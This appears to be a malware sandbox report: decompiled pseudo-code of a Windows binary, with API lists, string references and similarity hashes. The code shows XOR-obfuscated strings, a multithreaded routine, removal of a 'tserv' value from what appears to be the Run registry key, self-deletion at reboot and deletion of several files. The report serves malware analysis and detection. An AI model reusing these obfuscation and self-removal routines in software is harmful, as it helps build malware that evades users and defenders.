				E0040B300(_t426 + 0x1d0, E00412060( &_a172, _t412), 0, 1, 1);
				_a228 = 0xb7;
				_a229 = 0x2a;
				_a230 = 0x56;
				_a231 = 0x1e;
				_a232 = 0x26;
				_a233 = 0xee;
				 *((char*)(_t426 + 0x11e)) = 0x2d;
				 *((char*)(_t426 + 0x11f)) = 0xb4;
				 *((char*)(_t426 + 0x120)) = 0x7d;
				 *((char*)(_t426 + 0x121)) = 0xce;
				 *((char*)(_t426 + 0x122)) = 0xb3;
				 *((char*)(_t426 + 0x123)) = 0xa6;
				 *((char*)(_t426 + 0x124)) = 0xa5;
				 *((char*)(_t426 + 0x125)) = 0x29;
				 *((char*)(_t426 + 0x126)) = __ebx;
				 *((char*)(_t426 + 0x127)) = 0x2a;
				 *((char*)(_t426 + 0x128)) = 0x44;
				 *((char*)(_t426 + 0x129)) = 0xeb;
				 *((char*)(_t426 + 0x12a)) = 0xbe;
				 *((char*)(_t426 + 0x12b)) = 0xae;
				 *((char*)(_t426 + 0x12c)) = 0xa8;
				 *((char*)(_t426 + 0x12d)) = 0xa6;
				_a152 = 0xb6;
				_a153 = 0x37;
				_a154 = 0xd;
				_a155 = 0x4c;
				_a156 = __ebx;
				_a157 = 0x7a;
				_a158 = 0x41;
				_a159 = 0xbf;
				_a160 = 0xf0;
				_a161 = 0x9b;
				_a162 = 0xc1;
				_a163 = 0xc2;
				_a164 = 0x9b;
				_a165 = 0x40;
				_a166 = 0x25;
				_a167 = 0x38;
				_a168 = 0x2b;
				_a169 = 0x8d;
				_a170 = 0x70;
				_a171 = 0xbe;
				_a172 = 0xce;
				_a173 = 0x5a;
				_t290 = 0;
				do {
					 *((char*)(_t426 + _t290 + 0x118)) =  *((intOrPtr*)(_t426 + _t290 + 0x118)) +  *((intOrPtr*)(_t426 + _t290 + 0xcc));
					 *((char*)(_t426 + _t290 + 0x119)) =  *((intOrPtr*)(_t426 + _t290 + 0x119)) +  *((intOrPtr*)(_t426 + _t290 + 0xcd));
					_t290 = _t290 + 2;
				} while (_t290 < 0x16);
				E0040B300( &_a448, _t426 + 0x124, 0, 1, 1);
				_t338 =  *0x431c90; // 0x0
				_t339 = _t338 ^ 0x0000005d;
				_t294 = _t339 ^ 0x0000005d;
				 *0x431c90 = _t294;
				_t340 = _t339 + _t294 * 0x44;
				 *((intOrPtr*)(_t426 + 0x68)) = __ebp;
				 *((intOrPtr*)(_t426 + 0x54)) = CreateEventA(0, 1, 0, 0);
				_a76 =  &_a432;
				_push(CreateThread(0, 0, E00401260, _t426 + 0x5c, 0,  &_a8));
				_pop(_t423);
				_t433 = _a8;
				if(_a8 != 0) {
					_t320 = E004123A0(_t340, CloseHandle, _t416, _t423, _t433, _t426 + 0x40, _t426 + 0x40, _t426 + 0x40, _t426 + 0x40);
					_t426 = _t426 + 0x10;
					if(_t320 != 0) {
						 *((intOrPtr*)(_t426 + 0x20)) =  *((intOrPtr*)(_t426 + 0x54));
						 *((intOrPtr*)(_t426 + 0x24)) = _t426 + 0x1c0;
						 *(_t426 + 0x28) = _t426 + 0x44;
						_a40 = _t426 + 0x64;
						 *((intOrPtr*)(_t426 + 0x30)) = _t426 + 0x7c;
						 *0x431c90 = 5;
						_t420 = 0;
						do {
							 *((intOrPtr*)(_t426 + 0xa4 + _t420 * 4)) = CreateThread(0, 0, E004191C0, _t426 + 0x28, 0, _t426 + 0x18);
							_t420 = _t420 + 1;
						} while (_t420 < 0xa);
						_t326 =  *0x431c90; // 0x0
						_t327 = _t326 + 0x24;
						_t328 = _t327 * 0x9b;
						 *0x431c90 = _t328;
						_t340 = 0x1f - (_t327 << 6) + _t328 * 0x1c;
						WaitForMultipleObjects(0xa,  &_a156, 1, 0xffffffff);
						_t421 = 0;
						 *((char*)(_t426 + 0x13)) = 0x26c;
						do {
							CloseHandle( *(_t426 + 0xa4 + _t421 * 4));
							_t410 =  *0x431c90; // 0x0
							_t421 = _t421 + 1;
							 *0x431c90 = _t410 +  *((intOrPtr*)(_t426 + 0x13));
						} while (_t421 < 0xa);
					}
				}
				if( *((intOrPtr*)(_t426 + 0x3b8)) != 0) {
					_t315 =  *0x431c90; // 0x0
					 *0x431c90 = _t315 + 0x78;
					WaitForSingleObject(_a16, 0xffffffff);
					 *0x431c90 = 0x40;
					_t340 = 0x17;
					CloseHandle(_a16);
				}
				 *0x431c90 = _t340 + 0x000000a0 ^ 0x0000005d;
				WaitForSingleObject(_t423, 0xffffffff);
				CloseHandle(_t423);
				E00416790(_t426 + 0x64);
				HeapFree(GetProcessHeap(), 0,  *(_t426 + 0x34));
				HeapFree(GetProcessHeap(), 0,  *(_t426 + 0x3c));
				 *(_t426 + 0x3b0) = 2;
				E00408AD0(_t426 + 0x1c0);
				 *(_t426 + 0x3b0) = 1;
				E00404590();
				 *(_t426 + 0x3b0) = 0;
				E00416690(_t426 + 0x64);
				 *(_t426 + 0x3b0) = 0xffffffff;
				_t313 = E0041A8F0(_t426 + 0x7c);
				 *[fs:0x0] =  *((intOrPtr*)(_t426 + 0x39c));
				return E00424873(_t313,  *((intOrPtr*)(_t426 + 0x398)));
			}

0x004147d5
0x004147e0
0x004147f7
0x0041480e
0x00414825
0x0041483c
0x0041484c
0x00414853
0x00414856
0x00414870
0x00414875
0x0041487d
0x00414885
0x0041488d
0x00414895
0x0041489d
0x004148a5
0x004148ad
0x004148b5
0x004148bd
0x004148c5
0x004148cd
0x004148d5
0x004148dd
0x004148e5
0x004148ed
0x004148f5
0x004148fd
0x00414905
0x0041490d
0x00414915
0x0041491d
0x00414925
0x0041492a
0x00414930
0x0041494a
0x0041494d
0x00414954
0x00414955
0x0041496f
0x0041497d
0x0041497f
0x00414987
0x0041498f
0x00414997
0x0041499f
0x004149a7
0x004149af
0x004149b7
0x004149bf
0x004149c7
0x004149cf
0x004149d7
0x004149df
0x004149e7
0x004149ef
0x004149f7
0x004149ff
0x00414a07
0x00414a0f
0x00414a17
0x00414a1f
0x00414a27
0x00414a2f
0x00414a36
0x00414a3e
0x00414a46
0x00414a4e
0x00414a56
0x00414a5e
0x00414a65
0x00414a6d
0x00414a75
0x00414a7d
0x00414a85
0x00414a8d
0x00414a95
0x00414a9d
0x00414aa4
0x00414aac
0x00414ab4
0x00414abc
0x00414ac3
0x00414acb
0x00414ad3
0x00414adb
0x00414ae3
0x00414aeb
0x00414af3
0x00414afb
0x00414b03
0x00414b08
0x00414b19
0x00414b24
0x00414b2c
0x00414b34
0x00414b3c
0x00414b44
0x00414b4c
0x00414b53
0x00414b5a
0x00414b62
0x00414b69
0x00414b71
0x00414b7f
0x00414b86
0x00414b92
0x00414b93
0x00414b9b
0x00414ba3
0x00414bab
0x00414bb3
0x00414bba
0x00414bc2
0x00414bca
0x00414bd2
0x00414bda
0x00414be2
0x00414bea
0x00414bf2
0x00414bfa
0x00414c02
0x00414c0a
0x00414c12
0x00414c1a
0x00414c22
0x00414c2a
0x00414c32
0x00414c3a
0x00414c42
0x00414c4a
0x00414c65
0x00414c6c
0x00414c74
0x00414c7c
0x00414c84
0x00414c8c
0x00414c94
0x00414c9c
0x00414ca4
0x00414cac
0x00414cb4
0x00414cbc
0x00414cc4
0x00414ccb
0x00414cd3
0x00414cdb
0x00414ce2
0x00414cea
0x00414cf2
0x00414cfa
0x00414d02
0x00414d0a
0x00414d12
0x00414d19
0x00414d21
0x00414d29
0x00414d31
0x00414d39
0x00414d40
0x00414d48
0x00414d50
0x00414d58
0x00414d60
0x00414d68
0x00414d70
0x00414d78
0x00414d80
0x00414d88
0x00414d90
0x00414d98
0x00414da0
0x00414da8
0x00414db0
0x00414db8
0x00414dc0
0x00414dc8
0x00414dd0
0x00414de7
0x00414df7
0x00414dfe
0x00414e01
0x00414e1b
0x00414e20
0x00414e26
0x00414e2b
0x00414e2f
0x00414e3e
0x00414e40
0x00414e4a
0x00414e6a
0x00414e7a
0x00414e7b
0x00414e80
0x00414e82
0x00414e9c
0x00414ea1
0x00414ea6
0x00414eb7
0x00414ebb
0x00414ecb
0x00414ecf
0x00414ed3
0x00414ed7
0x00414ede
0x00414ee0
0x00414efb
0x00414f02
0x00414f03
0x00414f08
0x00414f0d
0x00414f13
0x00414f1e
0x00414f33
0x00414f35
0x00414f3f
0x00414f43
0x00414f50
0x00414f58
0x00414f5a
0x00414f66
0x00414f6a
0x00414f6a
0x00414f50
0x00414ea6
0x00414f81
0x00414f83
0x00414f91
0x00414f96
0x00414f9d
0x00414fa4
0x00414fa6
0x00414fa6
0x00414fb1
0x00414fb7
0x00414fba
0x00414fc0
0x00414fdb
0x00414fe7
0x00414ff0
0x00414ff8
0x00415001
0x00415009
0x00415012
0x0041501a
0x00415023
0x0041502e
0x0041503d
0x00415057

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A5,00000000,00000001,00000001,00000000,00000000,00000001,00000001), ref: 00414E44
CreateThread.KERNEL32(00000000,00000000,00401260,?,00000000,?), ref: 00414E6E
CreateThread.KERNEL32(00000000,00000000,004191C0,?,00000000,?), ref: 00414EF5
WaitForMultipleObjects.KERNEL32(0000000A,?,00000001,000000FF,?,00000001), ref: 00414F35

Strings

@, xrefs: 00414D80
q, xrefs: 00414C3A
E, xrefs: 0041491D
A, xrefs: 00414D48
L, xrefs: 00414D31
\, xrefs: 004149BF
w, xrefs: 00414A8D
z, xrefs: 00414D40
-, xrefs: 0041489D
l, xrefs: 00414BF2
9, xrefs: 00414B3C
}, xrefs: 00414CAC
%, xrefs: 00414D88
c, xrefs: 00414B93
*, xrefs: 00414AD3
+, xrefs: 00414D98
v, xrefs: 00414AE3
,, xrefs: 004148ED
&, xrefs: 00414905
H, xrefs: 00414A1F
g, xrefs: 00414A27
-, xrefs: 00414C9C
S, xrefs: 00414C0A
8, xrefs: 00414D90
X, xrefs: 00414ADB
6, xrefs: 004148AD
$, xrefs: 004148E5
(, xrefs: 004148DD
&, xrefs: 00414C8C
7, xrefs: 00414D21
1, xrefs: 004148C5
Z, xrefs: 004149EF
C, xrefs: 00414ACB
@, xrefs: 004149AF
p, xrefs: 00414DA8
k, xrefs: 004148FD
}, xrefs: 00414AF3
D, xrefs: 00414CEA
+, xrefs: 004148A5
(, xrefs: 004148B5
*, xrefs: 00414895
E, xrefs: 00414BC2
(, xrefs: 00414875
5, xrefs: 0041498F
(, xrefs: 00414987
., xrefs: 00414AC3
&, xrefs: 00414885
), xrefs: 004148F5
*, xrefs: 0041490D
(, xrefs: 004149CF
V, xrefs: 00414C7C
>, xrefs: 00414B69
Z, xrefs: 00414DC0
-, xrefs: 004148CD
*, xrefs: 00414C74
, xrefs: 00414AB4
), xrefs: 00414CD3
/, xrefs: 0041488D
(, xrefs: 00414915
[, xrefs: 00414B5A
v, xrefs: 00414BE2
*, xrefs: 00414CE2
$, xrefs: 0041487D
,, xrefs: 004148BD

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Create$Thread$EventMultipleObjectsWait
String ID: $$$$$%$&$&$&$($($($($($($)$)$*$*$*$*$*$+$+$,$,$-$-$-$.$/$1$5$6$7$8$9$>$@$@$A$C$D$E$E$H$L$S$V$X$Z$Z$[$\$c$g$k$l$p$q$v$v$w$z$}$}
API String ID: 235807246-2775756417
Opcode ID: c76ce01bed546ad7aa5a21bdaf5dd9fb30fc70b4a842b300c3daa7685bddaa54
Instruction ID: 4ba291c258b21c2c65f38470cc50bd55a1c33cd57b57476b852d1b8409fa2169
Opcode Fuzzy Hash: c76ce01bed546ad7aa5a21bdaf5dd9fb30fc70b4a842b300c3daa7685bddaa54
Instruction Fuzzy Hash: 4522283110C7C18AE332C7689859BDFBFD45BA7318F484A9EE1E95B2D2C6B90109C767

Uniqueness

Uniqueness Score: -1.00%

Function 00413280, Relevance: 133.4, APIs: 18, Strings: 58, Instructions: 437
fileregistryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00413280(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				void* _v464;
				intOrPtr _t337;
				void* _t339;
				char _t342;
				void* _t346;
				void* _t350;
				void* _t354;
				CHAR* _t358;
				void* _t359;
				void* _t363;
				void* _t367;
				void* _t421;
				void** _t424;

				_t421 = __ebp;
				_t424 =  &_v464;
				_t337 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t337;
				_v291 = 0xc7;
				_v280 = 0xc7;
				_v272 = 0xc7;
				_v268 = 0xc7;
				_v312 = 0xfa;
				_v311 = 0xe6;
				_v310 = 0xef;
				_v309 = 0xfd;
				_v308 = 0xfe;
				_v307 = 0xe8;
				_v306 = 0xfb;
				_v305 = 0xec;
				_v304 = 0xf5;
				_v303 = 0xe4;
				_v302 = 0xc0;
				_v301 = 0xca;
				_v300 = 0xdb;
				_v299 = 0xc6;
				_v298 = 0xda;
				_v297 = 0xc6;
				_v296 = 0xcf;
				_v295 = 0xdd;
				_v294 = 0xf5;
				_v293 = 0xfe;
				_v292 = 0xc0;
				_v290 = 0xcd;
				_v289 = 0xc6;
				_v288 = 0xde;
				_v287 = 0xda;
				_v286 = 0xf5;
				_v285 = 0xea;
				_v284 = 0xdc;
				_v283 = 0xdb;
				_v282 = 0xdb;
				_v281 = 0xcc;
				_v279 = 0xdd;
				_v278 = 0xff;
				_v277 = 0xcc;
				_v276 = 0xdb;
				_v275 = 0xda;
				_v274 = 0xc0;
				_v273 = 0xc6;
				_v271 = 0xf5;
				_v270 = 0xfb;
				_v269 = 0xdc;
				_v267 = 0xa9;
				_t339 = 0;
				do {
					 *(_t424 + _t339 + 0xa4) =  *(_t424 + _t339 + 0xa4) ^ 0x000000a9;
					_t339 = _t339 + 1;
				} while (_t339 < 0x2e);
				_t342 = RegOpenKeyA(0x80000002,  &_v312,  &_v464);
				if(_t342 == 0) {
					_v375 = _t342;
					_v380 = 0x74;
					_v379 = 0x73;
					_v378 = 0x65;
					_v377 = 0x72;
					_v376 = 0x76;
					RegDeleteValueA(_v464,  &_v380);
					RegCloseKey(_v464);
				}
				_push(_t421);
				GetModuleFileNameA(0,  &_v264, 0x104);
				MoveFileExA( &_v264, 0, 4);
				_v372 = 0x7b;
				_v371 = 0x3a;
				_v370 = 0x59;
				_v369 = 0xfe;
				_v368 = 0x78;
				_v367 = 0xb0;
				_v366 = 0xb1;
				_v365 = 0x27;
				_v364 = 0x34;
				_v363 = 0xf8;
				_v362 = 0x7f;
				_v361 = 0x7a;
				_v360 = 6;
				_v359 = 0x30;
				_v358 = 0xcb;
				_v357 = 0xef;
				_v356 = 0x87;
				_v355 = 0xae;
				_v354 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x98;
				_v444 = 0xe6;
				_v443 = 0xd6;
				_v442 = 0xc9;
				_t346 = 0;
				do {
					_t104 = _t346 + 0x6c; // 0x7b
					 *(_t424 + _t346 + 0x6c) =  *(_t424 + _t104) ^  *(_t424 + _t346 + 0x14);
					_t346 = _t346 + 1;
				} while (_t346 < 0x13);
				ExpandEnvironmentStringsA( &_v372,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v332 = 0x7b;
				_v331 = 0x3a;
				_v330 = 0x59;
				_v329 = 0xfe;
				_v328 = 0x78;
				_v327 = 0xb0;
				_v326 = 0xb1;
				_v325 = 0x27;
				_v324 = 0x34;
				_v323 = 0xf8;
				_v322 = 0x7f;
				_v321 = 0x7a;
				_v320 = 6;
				_v319 = 0x30;
				_v318 = 0xcb;
				_v317 = 0xef;
				_v316 = 0x87;
				_v315 = 0xae;
				_v314 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x88;
				_v444 = 0xe1;
				_v443 = 0xd6;
				_v442 = 0xc9;
				_t350 = 0;
				do {
					 *(_t424 + _t350 + 0x94) =  *(_t424 + _t350 + 0x94) ^  *(_t424 + _t350 + 0x14);
					_t350 = _t350 + 1;
				} while (_t350 < 0x13);
				ExpandEnvironmentStringsA( &_v332,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v352 = 0x7b;
				_v351 = 0x3a;
				_v350 = 0x59;
				_v349 = 0xfe;
				_v348 = 0x78;
				_v347 = 0xb0;
				_v346 = 0xb1;
				_v345 = 0x27;
				_v344 = 0x34;
				_v343 = 0xf8;
				_v342 = 0x7f;
				_v341 = 0x7a;
				_v340 = 6;
				_v339 = 0x30;
				_v338 = 0xcb;
				_v337 = 0xef;
				_v336 = 0x87;
				_v335 = 0xae;
				_v334 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x8b;
				_v444 = 0xeb;
				_v443 = 0xc2;
				_v442 = 0xc9;
				_t354 = 0;
				do {
					 *(_t424 + _t354 + 0x80) =  *(_t424 + _t354 + 0x80) ^  *(_t424 + _t354 + 0x14);
					_t354 = _t354 + 1;
				} while (_t354 < 0x13);
				ExpandEnvironmentStringsA( &_v352,  &_v264, 0x104);
				_t358 = DeleteFileA( &_v264);
				if(_t358 == 0) {
					MoveFileExA( &_v264, _t358, 4);
				}
				_v400 = 0x7b;
				_v399 = 0x3a;
				_v398 = 0x59;
				_v397 = 0xfe;
				_v396 = 0x78;
				_v395 = 0xb0;
				_v394 = 0xb1;
				_v393 = 0x27;
				_v392 = 0x34;
				_v391 = 0xf8;
				_v390 = 0x7f;
				_v389 = 0x7a;
				_v388 = 6;
				_v387 = 0x30;
				_v386 = 0xcb;
				_v385 = 0xef;
				_v384 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x95;
				_v444 = 0x87;
				_t359 = 0;
				do {
					 *(_t424 + _t359 + 0x4c) =  *(_t424 + _t359 + 0x4c) ^  *(_t424 + _t359 + 0x10);
					_t359 = _t359 + 1;
				} while (_t359 < 0x11);
				ExpandEnvironmentStringsA( &_v400,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v440 = 0x7b;
				_v439 = 0x3a;
				_v438 = 0x59;
				_v437 = 0xfe;
				_v436 = 0x78;
				_v435 = 0xb0;
				_v434 = 0xb1;
				_v433 = 0x27;
				_v432 = 0x34;
				_v431 = 0xf8;
				_v430 = 0x7f;
				_v429 = 0x7a;
				_v428 = 6;
				_v427 = 0x30;
				_v426 = 0xcb;
				_v425 = 0xef;
				_v424 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x9c;
				_v444 = 0x87;
				_t363 = 0;
				do {
					 *(_t424 + _t363 + 0x24) =  *(_t424 + _t363 + 0x24) ^  *(_t424 + _t363 + 0x10);
					_t363 = _t363 + 1;
				} while (_t363 < 0x11);
				ExpandEnvironmentStringsA( &_v440,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v420 = 0x7b;
				_v419 = 0x3a;
				_v418 = 0x59;
				_v417 = 0xfe;
				_v416 = 0x78;
				_v415 = 0xb0;
				_v414 = 0xb1;
				_v413 = 0x27;
				_v412 = 0x34;
				_v411 = 0xf8;
				_v410 = 0x7f;
				_v409 = 0x7a;
				_v408 = 6;
				_v407 = 0x30;
				_v406 = 0xcb;
				_v405 = 0xef;
				_v404 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x8c;
				_v444 = 0x87;
				_t367 = 0;
				do {
					 *(_t424 + _t367 + 0x38) =  *(_t424 + _t367 + 0x38) ^  *(_t424 + _t367 + 0x10);
					_t367 = _t367 + 1;
				} while (_t367 < 0x11);
				ExpandEnvironmentStringsA( &_v420,  &_v264, 0x104);
				return E00424873(DeleteFileA( &_v264), _v4);
			}

0x00413280
0x00413280
0x00413286
0x0041328c
0x0041329c
0x004132a3
0x004132aa
0x004132b1
0x004132b9
0x004132c1
0x004132c9
0x004132d1
0x004132d9
0x004132e1
0x004132e9
0x004132f1
0x004132f9
0x00413300
0x00413308
0x00413310
0x00413318
0x0041331f
0x00413326
0x0041332e
0x00413335
0x0041333d
0x00413345
0x0041334c
0x00413354
0x0041335c
0x00413364
0x0041336b
0x00413373
0x0041337b
0x00413382
0x0041338a
0x00413392
0x00413399
0x004133a0
0x004133a8
0x004133b0
0x004133b8
0x004133c0
0x004133c7
0x004133cf
0x004133d7
0x004133de
0x004133e5
0x004133ed
0x004133f5
0x004133fd
0x00413400
0x00413400
0x00413408
0x00413409
0x00413426
0x00413428
0x0041342e
0x00413438
0x0041343d
0x00413442
0x00413447
0x0041344c
0x00413451
0x0041345c
0x0041345c
0x00413462
0x00413472
0x0041348a
0x0041348e
0x00413493
0x00413498
0x0041349d
0x004134a2
0x004134a7
0x004134ab
0x004134b0
0x004134b5
0x004134ba
0x004134bf
0x004134c4
0x004134c9
0x004134ce
0x004134d3
0x004134d8
0x004134dd
0x004134e2
0x004134e7
0x004134ec
0x004134f1
0x004134f6
0x004134fb
0x004134ff
0x00413504
0x00413509
0x0041350e
0x00413513
0x00413518
0x0041351d
0x00413522
0x00413527
0x0041352c
0x00413531
0x00413536
0x0041353b
0x00413540
0x00413545
0x0041354a
0x00413550
0x00413550
0x0041355a
0x0041355e
0x0041355f
0x0041357c
0x0041358c
0x0041358e
0x00413596
0x0041359e
0x004135a6
0x004135ae
0x004135b6
0x004135bd
0x004135c5
0x004135cd
0x004135d5
0x004135dd
0x004135e5
0x004135ed
0x004135f5
0x004135fd
0x00413605
0x0041360d
0x00413615
0x0041361d
0x00413625
0x0041362a
0x0041362f
0x00413634
0x00413638
0x0041363d
0x00413642
0x00413647
0x0041364c
0x00413651
0x00413656
0x0041365b
0x00413660
0x00413665
0x0041366a
0x0041366f
0x00413674
0x00413679
0x0041367e
0x00413683
0x00413690
0x0041369d
0x004136a4
0x004136a5
0x004136bf
0x004136c9
0x004136cb
0x004136d3
0x004136db
0x004136e3
0x004136eb
0x004136f3
0x004136fa
0x00413702
0x0041370a
0x00413712
0x0041371a
0x00413722
0x0041372a
0x00413732
0x0041373a
0x00413742
0x0041374a
0x00413752
0x0041375a
0x00413762
0x00413767
0x0041376c
0x00413771
0x00413775
0x0041377a
0x0041377f
0x00413784
0x00413789
0x0041378e
0x00413793
0x00413798
0x0041379d
0x004137a2
0x004137a7
0x004137ac
0x004137b1
0x004137b6
0x004137bb
0x004137c0
0x004137c2
0x004137cf
0x004137d6
0x004137d7
0x004137f1
0x004137fd
0x004137ff
0x0041380c
0x0041380c
0x0041380e
0x00413813
0x00413818
0x0041381d
0x00413822
0x00413827
0x0041382b
0x00413830
0x00413835
0x0041383a
0x0041383f
0x00413844
0x00413849
0x0041384e
0x00413853
0x00413858
0x0041385d
0x00413862
0x00413867
0x0041386c
0x00413871
0x00413875
0x0041387a
0x0041387f
0x00413884
0x00413889
0x0041388e
0x00413893
0x00413898
0x0041389d
0x004138a2
0x004138a7
0x004138ac
0x004138b1
0x004138b6
0x004138c0
0x004138ca
0x004138ce
0x004138cf
0x004138e6
0x004138f0
0x004138f2
0x004138f7
0x004138fc
0x00413901
0x00413906
0x0041390b
0x0041390f
0x00413914
0x00413919
0x0041391e
0x00413923
0x00413928
0x0041392d
0x00413932
0x00413937
0x0041393c
0x00413941
0x00413946
0x0041394b
0x00413950
0x00413955
0x00413959
0x0041395e
0x00413963
0x00413968
0x0041396d
0x00413972
0x00413977
0x0041397c
0x00413981
0x00413986
0x0041398b
0x00413990
0x00413995
0x0041399a
0x004139a0
0x004139aa
0x004139ae
0x004139af
0x004139c6
0x004139d0
0x004139d2
0x004139d7
0x004139dc
0x004139e1
0x004139e6
0x004139eb
0x004139ef
0x004139f4
0x004139f9
0x004139fe
0x00413a03
0x00413a08
0x00413a0d
0x00413a12
0x00413a17
0x00413a1c
0x00413a21
0x00413a26
0x00413a2b
0x00413a30
0x00413a35
0x00413a39
0x00413a3e
0x00413a43
0x00413a48
0x00413a4d
0x00413a52
0x00413a57
0x00413a5c
0x00413a61
0x00413a66
0x00413a6b
0x00413a70
0x00413a75
0x00413a7a
0x00413a80
0x00413a8a
0x00413a8e
0x00413a8f
0x00413aa6
0x00413ac7

APIs

RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
RegCloseKey.ADVAPI32(?), ref: 0041345C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041348A
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 0041357C
DeleteFileA.KERNEL32(?), ref: 0041358C
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
